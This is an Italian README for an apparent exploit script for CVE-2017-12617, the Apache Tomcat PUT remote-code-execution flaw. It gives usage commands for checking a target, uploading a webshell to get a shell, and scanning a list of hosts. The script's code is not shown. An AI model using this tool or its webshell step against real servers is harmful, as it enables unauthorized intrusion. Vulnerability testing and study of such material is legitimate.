versione aggiornata di https://github.com/cyberheartmi9

CVE-2017-12617

CVE-2017-12617 è una vulnerabilità critica di Remote Code Execution (RCE) scoperta in Apache Tomcat

i sistemi con PUT HTTP abilitati (impostando il parametro di inizializzazione "read-only" della servlet Default su "false") sono interessati.

Le versioni di Tomcat precedenti a 9.0.1 (Beta), 8.5.23, 8.0.47 e 7.0.82 contengono una potenzialmente pericolosa

vulnerabilità di remote code execution (RCE) su tutti i sistemi operativi se la servlet predefinita è

configurata con il parametro readonly impostato su false o se la servlet WebDAV è abilitata con il

parametro readonly impostato su false

Pagina Apache Tomcat

./cve-2017-12617.py [options]

opzioni:

-u ,--url [::] controlla se l'URL del target è vulnerabile
-p,--pwn [::] genera una webshell e caricala
-l,--list [::] elenco degli host

[+]utilizzo:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt

Banner

Controlla se il target è vulnerabile

Conferma che il file è stato creato

Crea una webshell e ottieni una shell

Scansiona gli host nel file txt

crediti: https://github.com/cyberheartmi9

[ @intx0x80 ]